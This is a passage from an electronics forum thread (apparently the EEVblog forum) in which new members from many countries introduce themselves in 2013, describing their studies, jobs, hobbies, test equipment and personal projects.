So I collected quite some experience now, but my favorite episodes still the tutorials,
because they give me a lot of more knowledge.

Regards,
Majki

Title: Re: New Member, Please introduce yourself
Post by: andersml on April 05, 2013, 10:48:34 pm
Hello from Denmark. Very new to all this electronic stuff.
Title: Re: New Member, Please introduce yourself
Post by: onehunglo on April 06, 2013, 03:42:25 am
Hello all, been watching Dave's video for a while. Have always been interested in electronics as a kid (even had the type of kits Dave showed in one of his vids!). Didn't go into electronics (computer science instead), however its all interesting and hopefully want to be able to make neat things and buy the fun toys :)
Title: Re: New Member, Please introduce yourself
Post by: BiOzZ on April 06, 2013, 03:56:49 am
Hello from maryland usa!

Im Alyx (yes its spelled like that) im a programmer and electronic engineering student at UMD (collage park) but im also a photographer and 3D artist! i love mixing all my hobbies togeather and making art ^^

i started with electronics when i was really really young with a radioshack kit than it only went up from there!

started watching daves videos a few months ago and was HOOKED i have seen almost all of them and i check the main page every day!

i would love to hear more in depth specific things like components (instrumentation amps, opamps, DACs, ADCs, ePots EXC)

PM me if you are interested in my 3D work or art ... i take requests ^^

3D >
(http://i.imgur.com/7xHGCVml.jpg) (http://imgur.com/7xHGCVm)

Photography >
(http://i.imgur.com/xVz1H9hl.jpg) (http://imgur.com/xVz1H9h)
Title: Re: New Member, Please introduce yourself
Post by: ram on April 06, 2013, 01:53:43 pm
hello ,I AM RAM,I am studying at SV UNIVERSITY,TIRUPATI,INDIA
Title: Re: New Member, Please introduce yourself
Post by: Lui on April 06, 2013, 10:11:39 pm
Hello from London. Very new to all this electronic stuff. but very much like to learn.it's fascinating!
Lui
Title: Re: New Member, Please introduce yourself
Post by: tobyrobb on April 07, 2013, 02:49:56 am
Hi i'm Toby,

Blue Mountains Australia. Not Austria.

Electronics enthusiast.

Mostly microntrollers.

Title: Re: New Member, Please introduce yourself
Post by: microbug on April 07, 2013, 01:19:01 pm
Hi, I'm Richard. I'm a (slightly geeky) teenager and am very interested in electronics and computing / programming. I have worked quite a lot with high voltage, most recently making a high voltage flyback transformer driver that can (attached to a flyback transformer) produce 50KV sparks that go through multiple layers of electrical tape.
Title: Re: New Member, Please introduce yourself
Post by: DThodoris on April 07, 2013, 04:55:36 pm
Hi Dave, hi everybody my name is Thodoris I am 32 years old and I live in Greece.I currently work as a session musician, i teach at music schools and last but not least i am an EE doing repairs in audio related equipment.EEVblog is awesome and Dave...you are THE inspiration!Thank you for all the knowledge and the enthousiasm that you share with the community  :-+
Title: Re: New Member, Please introduce yourself
Post by: blasto9000 on April 10, 2013, 04:36:53 pm
Howdy gentlemen, new guy from Los Angeles here.  A hobbyist, not an electronics professional.

I wound up on EEVBlog while researching the Owon SDS7102 oscilloscope.  I guess it's been a while since I've shopped oscilloscopes, because I was really surprised at the $450 price tag of the Owon.  I ended up buying one to replace my 30 year old Heathkit scope (which still works and is in mint condition BTW).  Unfortunately, the Heathkit is next to useless for one-shot events... I was setting up my digital camera on a mini-tripod in front of the screen with the shutter speed set to 1 second.  Set the self-timer on the camera and when I heard the shutter open I'd hit "the button" of whatever it was I was working on to get a photo of the event.

The long exposure and persistence of the phosphor screen worked well enough together, I guess.  I was just sick of the 30-40 second process to get a capture.  Plus the Heathkit has very limited bandwidth.  The Owon is MUCH easier and more fun to use.

Now after a long day of sitting in traffic I can have some morale time in the workshop without having to cut out the lights, pull out the camera and boot up the PC.

Been reading EEVBlog for some weeks now... joined so I could bounce some questions off of you sharp fellas. ;-)
Title: Re: New Member, Please introduce yourself
Post by: rec on April 11, 2013, 12:03:55 am
Greetings Electronauts --

I'm joining from Santa Fe, New Mexico, USA.  I've been making softwares for maybe 35 years and building various fiddly electronics stuff as entertainment for 25 years off and on, more on of late.  I'm a radio amateur so a lot of the stuff is radios and radio test equipment.

I've been supporting Aussies since I bought a bunch of Dontronics SIMMSticks over 10 years ago.  I first wandered onto Dave's video blog when he reviewed the iTead (or was it iSeeed?) PCB prototyping service a few years ago.

Project of the moment is making a portable version of a Softrock Ensemble RXTX transceiver from http://fivedash.com/, (http://fivedash.com/,) for which the uSupply may be promising.

-- Roger E Critchlow Jr
-- rec
-- ad5dz
Title: Re: New Member, Please introduce yourself
Post by: xrunner on April 11, 2013, 12:07:09 am
Hi I am located in Texas and I joined because I like Dave's reviews and humor. I use electronics in model railroading.

I'd say this forum is a beauty!
Title: Re: New Member, Please introduce yourself
Post by: Dr. Frank on April 11, 2013, 08:38:35 pm
Hello, I’m Frank, from Frankfurt.

David’s nice videos attracted me, because ever since being a teen, I likewise had to open and disassemble every technical gadget in my reach, to see what's inside, and to learn how it works. In fact, most of it did still work afterwards.  8)
Back then, I designed electronic counters (TTL graveyards & OCXO) and digital multimeters.

In the early 80s, serving in an Air Force Cal Lab, I - once again - had to open, repair and calibrate any kind of multimeters.  I came in touch with the latest and sophisticated calibration equipment of that era from HP, Fluke, Tek, etc. Consequently, Metrology became my biggest passion.

I have studied solid state physics; focus on experimental Low Temperature Physics.  The analysis of the magnetic behavior of High Tc Superconductors by AC measurements on nV level, required thorough experiments on shielding techniques.
Amongst other devices, I designed precision DC and AC current sources for the institute, and programmed all kind of GPIB and RS232 instruments from scratch, in Pascal and Assembler.
For sure, on receipt of each new and precious piece of instrument, first of all it had to be inspected internally.  >:D
 
Nowadays, I work in the automotive electronics industry, in the development, as a technologist for electronic and mechanical components, and taking care of changes and long term supply.

I still collect and refurbish vintage high grade equipment, mainly HP and Fluke. For instance, the ones mentioned above, were nowadays accessible and affordable, after the end of the Cold War.

The measured level of stability in my analog lab in the basement (constant RT), is < 1ppm/yr. each for VDC (group of 4 references),  and Ohm (5 ref's). DCV Decade Transfer uncertainty is ~1ppm.
Upstairs, in my digital / time lab, I achieve Allan Variance stabilities of < 1e-11/s by a Rb clock, and  1e-12 .. 1e-13/d by Thunderbolt and Lady Heather.

Glad to meet you soon in David’s forum.

Frank
Title: Re: New Member, Please introduce yourself
Post by: drago275 on April 11, 2013, 10:04:16 pm
Hi all
I am Drago i am from Croatia. 
have a bachelor degree in power engineering.

AND Really enjoying this EEVblog :)


 :-BROKE
Title: Re: New Member, Please introduce yourself
Post by: HVM_Electronics on April 12, 2013, 09:21:37 pm
Hi everyone  :)

I’ve recently started watching the EEVBLOG YouTube channel, I am enjoying it and thought I’d get on the forum to hopefully gain more knowledge in electronics and make some new friends.

A bit about me: I have completed an Engineering GCSE, (general) Engineering B-Tec (level 3) and I’m now progressing towards a HND in General engineering (level 5).  I am heavily interested in Engineering, more specifically Electronic engineering and Technology. My current projects (at home) include a tracked robot with 1kw motors  :-DMM  per track (2 tracks total), a custom pc (Operational, yet an ongoing project), a pick and place machine with multiple rotary heads and a CNC machine.

Thanks for reading,
keep up the good work Dave :-+


Title: Re: New Member, Please introduce yourself
Post by: kb3pxr on April 14, 2013, 01:30:42 am
Hello, my name is John and I'm from Pennsylvania in the United States of America. I'm a radio Amateur and my user ID is my callsign. I've been interested in electronics, but the amateur radio hobby really kicked it into high gear for me. I love watching the EEVblog on YouTube.
Title: Re: New Member, Please introduce yourself
Post by: Barny on April 14, 2013, 10:09:10 am
Hi

I'm form Austria (not Australia).
To be exact upper Austria.

I'm an machine fitter which goof around with electronic stuff.

Sorry for my really bad English.
Title: Re: New Member, Please introduce yourself
Post by: sullyRD on April 15, 2013, 02:13:34 am
I'm Sully from the UK its great to be finally part of Dave's forum i have watched almost all his videos he has really brought some life to the electronics world with his enthusiastic Electonics videos nice one mate.

I have had my own computer repair business for the last 15 years and have been into the electronics side about 10 years i got into the electronics side so i could repair the Mainboards rather than discard them so it saved my customers money, it has been a very worthwhile investment  and i have a great number of loyal customers.

For my Electronics diagnosis i use two Fluke 87v's as i find they are the most accurate and reliable Multimeters on the market i have a 28 year old Fluke 23 that has been a long time companion but sadly the continuity went nuts a few years ago so i was forced to invest in some 87v's which i do not regret in the least.

I not only repair computers at a software and hardware level i also repair almost anything if it has a circuit board in it because i love a challenge.

I have followed dave's blog videos since about video number 50 but have never had any reason to join the forum because i have been so busy. I have decided to take a break from work for a while which is why i decided to join the group now. ;)
Title: Re: New Member, Please introduce yourself
Post by: Joules on April 15, 2013, 10:26:31 pm
I'm Joules,
               got the nickname during my electrician apprenticeship.  Re trained and worked for many years as a computer engineer for a local university.  Had a fantastic time till they outsourced repairs and offered me a management position.   Now semi retired, like to play with low power digital electronics like the Raspberry Pi and anything electro mechanical especially diesel/petrol generators.  Also an interest in renewable energies, my workshop pretty much runs off the 1kw of solar I installed some years back, its fully off grid with 4.8kw of battery storage to keep me working through the night...  Well, in the summer anyway considering this is the UK.
Title: Re: New Member, Please introduce yourself
Post by: VanitarNordic on April 17, 2013, 09:56:05 am
Hello to all.

I'm founder of Vanitar Nordic Company in Göteborg-Sweden.

We are deliverng PC repair, software, website design and electronic design services internationally.
Title: Re: New Member, Please introduce yourself
Post by: JP5000 on April 17, 2013, 01:47:08 pm
Hi guys my hobby of electronics started at a very young age and now at the age of 34 have got some time to learn and share what knowledge i have. My main hobby's are electronics, electrical engineering, cars, lighting and lighting controls.
Title: Re: New Member, Please introduce yourself
Post by: k7-3d on April 18, 2013, 01:55:49 pm
Hi'
Name is Christopher and i am from Norway and live in denmark and have lived der sins 2002, i work as an electrisan and du som EE in my spear time :-)
Title: Re: New Member, Please introduce yourself
Post by: magicsmoke on April 19, 2013, 07:01:41 am
Hi,

I am interested in power electronics and motor controls.  I also do some low-frequency electromagnetic design.  I am starting to get into more general low power electronics also.
Title: Re: New Member, Please introduce yourself
Post by: gotnoise on April 19, 2013, 01:28:02 pm
Hi,

I am a tech-oriented neuroscientist at a university who is currently trying to switch into the neuroscience-oriented tech industry. My goal is to get into R&D of a company that builds equipment for neuroscience and clinical applications. Electronics have been my hobby for a few years but I am still a beginner since job and family keep me busy most of the time.

I already learned a lot from you guys, so now I will try my best to contribute as well!

Cheers,
gotnoise
Title: Re: New Member, Please introduce yourself
Post by: TacticalCode on April 20, 2013, 01:14:34 pm
Greetings from Germany!

My name is Damon and I've come through Dave's way too addictive videos across this board.
I love messing around with electronics so I thought this place would be a good one to start learning some more details about the topic.

General info: I'm currently 19 years old, live in Germany, will pass my university-entrance diploma in a couple of weeks and then study it-security. Yes, software guy. But I'm just starting to do some hardware mods/hacks and fiddling around with an arduino+raspi.
If anyone is interested: My blog is here: http://tacticalcode.de/ (http://tacticalcode.de/)
Title: Re: New Member, Please introduce yourself
Post by: joab on April 20, 2013, 03:53:16 pm
Hi!

I'm a Swedish guy and I'm currently studying Electronics and Computer Engineering at KTH (Royal Institute of Technology) in Sweden. I'm very interested in both electronics and programming.
Title: Re: New Member, Please introduce yourself
Post by: Slowflyer on April 21, 2013, 12:32:12 pm
I am a 15-year old boy from Finland, and have always been into everything technical. I don't really like software so i do mainly hardware.
I'd like to learn machining and mechanical stuff, but a machine shop isn't possible right now. :'(  I tend to loose interest in the project that i'm working on. They often just vanish until i dig them out from my box of uncomplited things some day and start working on them again.
I have been a big fan of Daves blog all the way from it's early stage. It has given me lots of information about building a good lab and electronics generally.
Title: Re: New Member, Please introduce yourself
Post by: commongrounder on April 21, 2013, 03:18:41 pm
Greetings!
My name is Geoff.  Since 1980 I have owned and operated an audio equipment service and audio transfer business in Vermont.  I came across Dave's video blogs and this board during my research into digital oscilloscopes.  I've owned a Fluke 199C scopemeter for many years and, after recognizing its limitations, have watched the amazing evolution of digital scopes ever since.  I finally decided that this was the time to buy in, and I haven't regretted it so far (I settled on an Rigol DS4012).  My big challenge now is going to be trying my best to avoid becoming addicted to this board and never getting any work done! ;D
Title: Re: New Member, Please introduce yourself
Post by: nickmartinblue on April 21, 2013, 11:59:16 pm
I'm from Calgary, Alberta, Canada

Currently going to SAIT (Southern Alberta Institute of Technology) taking ENT (Electronics Engineering Technology) have been a viewer for a year, going to be graduating SAIT in 2014. I have always been interested in electronics and used to take apart anything that broke in the household, now I am buying things and taking them apart before I power them on.
Title: Re: New Member, Please introduce yourself
Post by: owlhawk on April 23, 2013, 02:12:42 am
I'm Chris, an engineering student at the University of Wisconsin - Madison. Been watching the show since the very beginning, but never been much of one for forums.

Told myself I'm going to be more involved this year... keeping a blog of projects and trying to contribute some here. I've a learned a lot from both the blog and the forums, so hopefully I can give something back.
Title: Re: New Member, Please introduce yourself
Post by: Jasmine on April 23, 2013, 03:43:06 am
Hi,my name is Jasmine,from China,nice to meet you all...I am not good at electronic,but i hope can learn from this year,as i am having a job which is electronic related ;)
Title: Re: New Member, Please introduce yourself
Post by: Lowlife on April 23, 2013, 07:05:28 am
I have been reading around here for a couple of weeks figure I should say hello. I am from Oklahoma USA.

Howdy

Sent from my HTC One X using Tapatalk 2

Title: Re: New Member, Please introduce yourself
Post by: Oculus on April 23, 2013, 11:31:31 pm
Hello, I'm Kestutis from Lithuania. I'm actually a software engineer, but it always seemed like it's just not enough, something was missing in the equation and so, a little less then a year ago I got myself involved into electronics.

Started low with simple stuff until I stumbled upon arduino (yes that same arduino everyone most likely know). From there on I got literally hooked with micros, though I kind of hated the arduino IDE and the variation of C, so I decided that I would go for programming in vanilla C which I was fairly familiar with from work and everyday life, so I bought myself an ATJTagICE 3 and it was all fun and dandy until I found myself in need of USB controller on a µC and it so happened that I wasn't able to find a DIP packaged AVR chip for that purpose, not to mention the QFP and QFN ones having so much unneeded stuff on them in addition to the USB that it was an overkill. Simply put, I decided to go the PIC route for this and so, thought about buying a PICKit and needed some advice about buying it, what actually led me to this forum (Not to mention that I was a fan of EEVBlog on youtube from the day I got into electronics, even if that was not that long ago).
Title: Re: New Member, Please introduce yourself
Post by: BlueScreen on April 24, 2013, 04:07:15 pm
Hello all,

My name is Glenn, and I am a 38 39 year old male person living in the little idyllic resthome town of Carterton, in New Zealand. (Map Reference: 41.0333° S, 175.5333° E).

I am repeating my High School education, slowly but surely, as I missed out on it first time round.

Take Care all.
Glenn.
Title: Re: New Member, Please introduce yourself
Post by: kkelley311 on April 25, 2013, 08:13:07 am
Hello Ladies and Gentlemen,

My name is Kevin Kelley.  I have recently gotten myself into a little electronics project and realized that I needed some advice.  That's how I wound up here.

I do have some experience with basic electronics.  I recently graduated from the University of Memphis in Memphis, TN with a BS in Mechanical Engineering and a second major in Physics.  But my experience with electronics does not extend far beyond basic electronics courses and physics courses taken in college.

I am open to advice and very much appreciate the time that those more knowledgeable spend giving said advice.

Thank you very much for having me!
Title: Re: New Member, Please introduce yourself
Post by: Memphis on April 25, 2013, 11:16:32 am
Hi,

My name is Tomas Kamenicky (Tom Stone in English  ;D). I am the development engineer of HW & SW. Already did a lot of projects and gained Ing. degree at Czech Technical University in Prague. I did study robotics, cybernetics, sensors and instrumentation techniques  >:D

If you interested more about my work (diploma, bachelor and company thesis/work) see my linked in page (http://www.linkedin.com/in/kamenicky/en).

Also I love my car (http://mk3.scirocco.cz/viewtopic.php?f=4&t=24), and all cool stuff such as EEVblog  :-+
Title: Re: New Member, Please introduce yourself
Post by: Spiros on April 27, 2013, 10:13:02 am
Hi eevblogers,

My name is Spiros and i am from Greece. I am an undergraduate student in Technological Educational Institute of Kavala, Greece. I study on Industrial Informatics.(includes electronics a bit and programming)
Title: Re: New Member, Please introduce yourself
Post by: SpectrHz on April 28, 2013, 11:30:59 pm
My name is Emily, a maker and one who studies all aspects of science and engineering. I love Electronics, Mechanical engineering, Chemistry, Physics, jet technology and propulsion. And just about every aspect of science. At the moment I am studying Gunn diodes and Doppler radar transceivers like those used police radars and radar detectors. Also looking into building a Farnsworth Fusor or small linear Accelerator for silver activation. I also love lab glassware, I use it daily and the way it looks just makes me happy. :)  Currently looking for a nice old Lecroy digital oscilloscope to call my own and go with my Hitachi V-222 analog scope.

I have a Youtube channel if anyone is interested, but will probably use this website and blogspot more often that Youtube due to my horrendous internet.
https://www.youtube.com/user/spectrHz (https://www.youtube.com/user/spectrHz)
http://spectrhz.blogspot.com/ (http://spectrhz.blogspot.com/)
Title: Re: New Member, Please introduce yourself
Post by: Fuse_Burner on April 29, 2013, 12:41:11 am
Hello from Jeff in the Appalachian foothills of Ohio  ;D

I'm not sure I need to post here to complete my registration (some forums require it), but I figured it couldn't hurt  :-+

My background is machining, 20 years of it, but the loss of manufacturing here forced me to finally close my shop.  During those years I was forced to trouble shoot machine controls vs waiting on repair companies, and I was pretty decent at it.  I also implemented CAD systems and local intranets for program generation and storage.  In fact, I struggled as a youngster whether to go mechanical or electrical in HS, both motivated me, but in the end I chose machining and got a 2 year vocational card in machining.  It served me well, and I absolutely love machining, but as my banker told me when I closed the shop ....... I was making buggy whips in the 21st century!

College was never really a choice back then, but now here I am studying for an AAS in electronics ........... so go figure  :-//
Title: Re: New Member, Please introduce yourself
Post by: Keef Wivanef on May 02, 2013, 07:53:50 am
Hello
I'm a little teapot.
I are an engineer as well.
I know bullshit when I smell it.

 :-DD
Title: Re: New Member, Please introduce yourself
Post by: Korken on May 03, 2013, 10:33:11 am
Hi there!

My name is Emil Fresk, 24 years old and I'm from the most northern parts of Sweden in Luleå (at the Luleå University of Technology) where I have just finished my Masters degree in Engineering Physics and Electrical Engineering (major in EE and Control Theory).
I will start my PhD in UAVs starting this autumn and I'm really looking forward to it!

I really like electronics and will continue with it for a long time!
Title: Re: New Member, Please introduce yourself
Post by: Volther on May 03, 2013, 11:39:06 am
Hi, my name is Hadrien and i'm from belgium...

I have recently concluded my high school studies in bio-electronics.
i'm here to find some tips for my personnal projet and also upgrade my english...

Title: Re: New Member, Please introduce yourself
Post by: glatocha on May 04, 2013, 02:19:28 am
Hi all,

I am a professional automation engineer and in my free time I do some electronics.
greetings for all
Title: Re: New Member, Please introduce yourself
Post by: keitheevblog on May 04, 2013, 03:42:06 am
Greetings fellow electronics freaks from Pittsburgh, Pennsylvania.

My name is Keith and I do SQA by day, and run a retro-computing-ish blog at http://www.techtravels.org (http://www.techtravels.org) for those interested.

My main interests lie in the Commodore Amiga but also in FPGAs, especially when it comes to emulating/simulating/reimplementing old computers.
Title: Re: New Member, Please introduce yourself
Post by: garfunx on May 05, 2013, 03:46:00 pm
Hi,

I'm Vincent, and I work with Linux embedded systems.

I also like to develop digital art project with artist friends.
Title: Re: New Member, Please introduce yourself
Post by: danpoarch on May 07, 2013, 02:43:11 pm
I'm Dan, an EE student at the ripe young age of 40. Long background in digital imaging, namely digital prepress, image retouching and device calibration. But nobody prints anything anymore so I'm back in school.

I love what I'm studying but I don't always comprehend everything that we're covering. Like transistors. I can look at an opamp and understand the gist of what's happening but I look at a transistor and compare its aesthetics to cathedral architecture and get bored...

When I'm not studying I do things like recap old Macs (SE/30s and the like). I'm currently working on a Tek 2467B renovation, somewhat ironically doing exactly what I do to the Macs.

Living in Washington, DC, moving to Chicago, Illinois in a couple months.

Enough about me, tell me more about you...
Title: Re: New Member, Please introduce yourself
Post by: TheEPROM9 on May 07, 2013, 03:15:37 pm
Hello I am Simon Lyne, studying computer networking at university. Avid hobbyist in electronics and computing.

There are two passions I have, electronics and computers. It was a hard choice on what to follow.

I have a internet presents, three websites although one is no longer used, and a YouTube channel where I do computer, electronics and some gaming stuff. I love me some vintage computers or obscure military tech. Also enjoy photography. :-DMM

Electronics Website: http://www.eprom9.comeze.com/ (http://www.eprom9.comeze.com/)
Computing Website: http://youtube.eprom9.comeze.com/index.html (http://youtube.eprom9.comeze.com/index.html)
YouTube Channel: https://www.youtube.com/user/TheEPROM9 (https://www.youtube.com/user/TheEPROM9)
Title: Re: New Member, Please introduce yourself
Post by: TriNitroTolueen on May 11, 2013, 08:45:24 am
Hi,

I'm a student in computer science-embedded systems. Currently i'm finishing up my masters thesis and looking forward to start working in a month or two.

I have been a reader on this forum for a little while now and I must say this has to be one of the most friendly forums on the internet. Question get answered without name calling. This feels like a nice place where people with common interest can talk in a civilized manner. I am really glad I found this place!
Title: Re: New Member, Please introduce yourself
Post by: cetchmoh on May 11, 2013, 07:25:06 pm
Hey ho!
My name is Jan and I started a few month ago to try and repair broken electronics.
I don't have a formal educational background on electronics but I do my best to keep up ;)

I have been a lurker around here for quite some time, but I finally gave in and registered :D

Cheers  O0
Title: Re: New Member, Please introduce yourself
Post by: Ecobion on May 15, 2013, 12:35:12 pm
Hello from Farnborough, Hampshire, in England (that's England, United Kingdom, not New England, USA). Farnborough is famous for being where avaition started in Britain, and where a lot of secret electronics technology is developed by the likes of BAE Systems, and Qinetiq who are based here.

(http://farm4.staticflickr.com/3279/2685906423_9d0ef54f7b_z.jpg)

I've just completed an EEVBLOG video marathon that's taken the past few months to finish!  :palm: What can I say about it? It's the duck's guts! Apart from my internal monologue picking up an Australian accent, Ive learned a lot from it, and had moments of inspiration come about as part of the experience. The question is what do I do now? Perhaps I'll start some You Tube videos of my own.

I'm in the early days of starting up an eco-tec business, studing engineering (including electronics engineering) one day a week at college to boost my knowledge. I hope I can make a positive contribution on the forums, and I'm sure there'll be a lot I can pick up from it.  :-+

Brent
Title: Re: New Member, Please introduce yourself
Post by: MikeCL on May 15, 2013, 02:31:42 pm
New Member here from Connecticut, USA I like working on electronics and working on small DIY projects, I have a question but it seems my thread does not get posted.
Title: Re: New Member, Please introduce yourself
Post by: Ecobion on May 15, 2013, 03:40:54 pm
You made 2 posts, and I can read them just fine.
Title: Re: New Member, Please introduce yourself
Post by: MikeCL on May 15, 2013, 04:30:48 pm
You made 2 posts, and I can read them just fine.

Thanks I guess it had something to do with the attachments I tried to post this morning, it would act like it posted but the thread never showed up.
Title: Re: New Member, Please introduce yourself
Post by: Chipguy on May 16, 2013, 06:21:10 pm
Hello,

Ok here we go:
My name is Chip, i am from Germany.
I work as a Hardware Design Manager/Engineer (yeah fancy description  ;) ) at a small company.
Usually i design sensors and meters which measure stuff like conductivity in fluids, pressure, temperaure, pH, flow rates etc.
I also do power stuff like little local switchmode power supply (yes i evade to say POL) and lot's of digital stuff.
I use MSP430 as well as ARM processors from various manufacturers.
FPGA's and CPLD's are also part of what i do, but i usually stay with the smaller devices.
Designing with embedded PC modules is also part of my job.
Since the company is small i am also the network and system admin having to maintain around 20 computers and servers.

On a daily basis i use IRC as a way to communicate with other nerd's in real time.
I really really like teardowns and get excited whenever there is a Tuesday :)

Hmm, i think thats all that matters for now :)




Title: Re: New Member, Please introduce yourself
Post by: tannercollin655 on May 19, 2013, 06:55:36 pm
Hi,

My name is Tanner and I am a Canadian electrical engineering student.

I look forward to reading these forums!
Title: Re: New Member, Please introduce yourself
Post by: xxx1987virusxxx on May 20, 2013, 07:40:41 am
hi..good day to all im larry camacho jr.from philippines electronics tech..im very happy joining forum like this...thank you.. :)
Title: Re: New Member, Please introduce yourself
Post by: scalzomen on May 20, 2013, 09:26:04 am
Hello guys,

I am an Electronics Engineer form Italy and unfortunately I am not working in the electronics field  :'(

I am interested at electronics technology and I like to repair everything!

Hope to pass a great time here!

 :-+
Title: Re: New Member, Please introduce yourself
Post by: DanHamer on May 20, 2013, 02:23:10 pm
Hi, I'm Dan. I'm a Design Engineer from the South East of England. I work for a manufacturer where I design robotic automation equipment for medical laboratories. In my spare time I tinker around with electronics, computers, CNC machines and 3d printers to name but a few of my areas of interest. I've had a keen interest in hobby electronics since I was a child but have recently started to take my hobby in a more enterprising directions (www.carbonfrog.com (http://www.carbonfrog.com)). For many years now I have been programming PIC's but have also recently taken an interest in Arduinos and AVR's.

I have many tools and pieces of equipment but my most recent pride and joy is my Rigol DS1102E. I also recently bought a Fluke 87iii.
Title: Re: New Member, Please introduce yourself
Post by: Msquare on May 20, 2013, 05:07:01 pm
Many years ago - early 70'ies - I made, or tried to make my own PCB and a simple lightshow (amplifier to blink the lights, through some very simple filters. The project failed. I then did computers instead, software is so much more forgiving and "mallable".

Recently though I've rediscovered this as a hobby. It is SOOO much easier with internet. Found a strange chip? Google -> full datasheet. (Just getting a datasheet to select a component was a hassle!). Making electronics a little "intelligent" (like moving a motor a small amount) was difficult. Insert a simple microchip and the simple electronics can be enormously "intelligent".

Don't know yet what I'll ask or contribute here - but it seems a good forum.

Msquare
Title: Re: New Member, Please introduce yourself
Post by: eps on May 21, 2013, 08:18:09 am
Hi,
I am a mathematician from Germany.
I recently started to learn electronics to gain practical experience with electromagnetic phenomena and to build things for fun.
Title: Re: New Member, Please introduce yourself
Post by: msousa on May 21, 2013, 02:23:57 pm
Hi

I'm a systems engineer working in the development of autonomous vehicles. Right now, working on how one would train the AI unit of an AV.
Title: Re: New Member, Please introduce yourself
Post by: gocemk on May 22, 2013, 11:30:29 am
This should have been my first post, not my seventh, so i apologize for that.

I am nearing the end of my studies in Electrical Engineering, (Control System Theory and Automation to be more precise). Throughout the studies i also had several jobs ranging from TV and PC service technician to service technician for mechatronics and electronics on Mercedes-Benz vehicles. At the moment i'm trying to learn everything i can about embedded systems design, microcontrollers and FPGA's. Following the eevblog and it's community has been very helpful and interesting.

Goce.
Title: Re: New Member, Please introduce yourself
Post by: JuniorJack on May 22, 2013, 11:40:35 am
Hello,

Great forum, lots more to read still. I am freelance software developer and hardware enthusiast from the UK. I mostly do reverse engineering and some bits of embedded development. Have been working with Atmel ARM microcontrollers for some years, finally have moved to STM32F4.

I came here because of the great videos Dave puts on YouTube.

Regards, Chris
Title: Re: New Member, Please introduce yourself
Post by: einstein on May 23, 2013, 09:17:33 pm
I'm Rian from Belgium and i study electronics.... I discovered the eevblog two months ago by searching info about power supply's and watched Dave his series about his psu project. And a few minutes ago i clicked the subscribe button...

(ps EEvblog #500 is coming soon, Dave, do you plan to do something special?)
Title: Re: New Member, Please introduce yourself
Post by: Matster Chief on May 25, 2013, 10:42:40 pm
Hello i'm Matt from the USA and im really new to electronic engineering relm. looking for help and advice on how to get started and where to learn all this stuff.  :-+
Cheers!
Title: Re: New Member, Please introduce yourself
Post by: oldticktock on May 26, 2013, 07:04:54 am
Hi my name is Chris,

I've been a lurker for a considerable while, I decided it was time to come out of the shadows.

I'm at the other historic end of the subject matter, restoring vintage tech and run my own website/ forum for that. However I do love all electronics and find  I daily visit this fantastic site.

Love the video blogs and the wealth of info contained within,  plus all the other excellent services and knowledge offered by this community.

I doubt I will be a great contributor but you will find me a staunch supporter.  :-+

Regards
Chris

P.S.

Dave, love fundamental Friday's, you have a great way of getting over information that does not make people glaze over. Like everyone else really enjoy your Tear Down's
Title: Re: New Member, Please introduce yourself
Post by: Leon on May 26, 2013, 08:11:50 am
Hi, my name is Leon and I'm a software engineer from the Netherlands. I occasionally build electronics as a hobby, and have been reading the forums for a long time.
Title: Re: New Member, Please introduce yourself
Post by: Mustang on May 27, 2013, 06:54:59 am
Hello, I'm Peter a genuine Brush Signwriter from way back trying to come to grips with modern technology.
Title: Re: New Member, Please introduce yourself
Post by: belba on May 29, 2013, 02:48:58 pm
Hello, my name is Guido. I'm from Ruhr Area in Germany.

Job related I have nothing to do with electronics. I'm just using it. In my free time I like to repair and refurbish electronic stuff. I like also to understand how these things works and for that reason I found the EEVblog (and also mikeselectricstuff) on you tube.
I think as a small thank you for that I want publish sometimes stories about a tear down or a restore.

Title: Re: New Member, Please introduce yourself
Post by: Vgkid on May 31, 2013, 05:00:26 am
Hello, my name is Hunter,and  I live in Virginia. I have meen a lurker for almost 2 years, but I am a subscriber to the GenRad Yahoo user group.
Title: Re: New Member, Please introduce yourself
Post by: wigman27 on June 04, 2013, 02:22:06 am
Sorry, put this in the wrong spot initially.. Brain fart..

Hi!

As the subject says, I just wanted to say G'day, I'm Lee from Lithgow NSW. I have had an interest in electronics for a long time, sort of stemmed from my Dad really. I have almost finished my Advanced Diploma of Electrical Engineering and currently work designing high voltage overhead and underground power lines. Love it!.

I look forward to talking to a lot of you, probably asking a lot but hopefully helping where I can.

Talk soon I'm sure!

Lee
Title: Re: New Member, Please introduce yourself
Post by: manticore00 on June 04, 2013, 03:51:31 pm
Hi all, my name is Will. I've been a long term lurker and thought it was about time I finally signed up for an account. I'm an IT systems and software engineer by trade and I can thank Dave and this forum for getting me interested in EE about a year and a half ago. I recently started playing around with microcontrollers and began playing with the Atmel xplained xmega-a3bu dev board this past weekend. (Btw if anyone else had as much trouble as I did getting Atmel Studio 6.1 to work with TFS I found this plug-in that fixes everything: http://visualstudiogallery.msdn.microsoft.com/bce06506-be38-47a1-9f29-d3937d3d88d6 (http://visualstudiogallery.msdn.microsoft.com/bce06506-be38-47a1-9f29-d3937d3d88d6))

Regards,
Will
Title: Re: New Member, Please introduce yourself
Post by: Legit-Design on June 06, 2013, 03:28:27 pm
Just wanted to introduce myself. Been watching eevblog for a very long time. Also writing on this forum makes me a contributing viewer of the blog.
Title: Re: New Member, Please introduce yourself
Post by: carbon dude oxide on June 06, 2013, 10:32:13 pm
hello, i am an electronics hobbyist in the UK who is going to be doing an apprenticeship in electronics later this year. All that i know has been self taught as no schools in my area do electronics :(

the eevblog videos and forum have been a great help in increasing my knowledge in electronics and i always look forward to the next blog video :D

the forum has helped me alot in solving some design problems or just helping me to start a new project.

thanks :D

Title: Re: New Member, Please introduce yourself
Post by: bambam on June 09, 2013, 03:47:22 pm
Hi all

A very keen hobbyist here from the uk. Really enjoying the blog and hoping, one day to be able to contribute.
Title: Re: New Member, Please introduce yourself
Post by: vlelet1969 on June 12, 2013, 03:54:09 am
I almost forgot to introduce myself because of the interesting topics I've been reading on this forum. I am glad to join this forum and learn from the wealth of knowledge shared by the members.
Title: Re: New Member, Please introduce yourself
Post by: Ahseyo on June 13, 2013, 06:33:06 pm
Hi all I'm 18 years old and tomorrow actually, getting my electronics degrees and certificates and graduate! :D I've been studying electronics for about 3 years now in a school and going to start work soon. I love electronics and am a typical geek who likes anything techy.
Besides my electronics interests lies philosophy, music and programming.
Title: Re: New Member, Please introduce yourself
Post by: Fezder on June 13, 2013, 06:44:40 pm
Hi all I'm 18 years old and tomorrow actually, getting my electronics degrees and certificates and graduate! :D I've been studying electronics for about 3 years now in a school and going to start work soon. I love electronics and am a typical geek who likes anything techy.
Besides my electronics interests lies philosophy, music and programming.

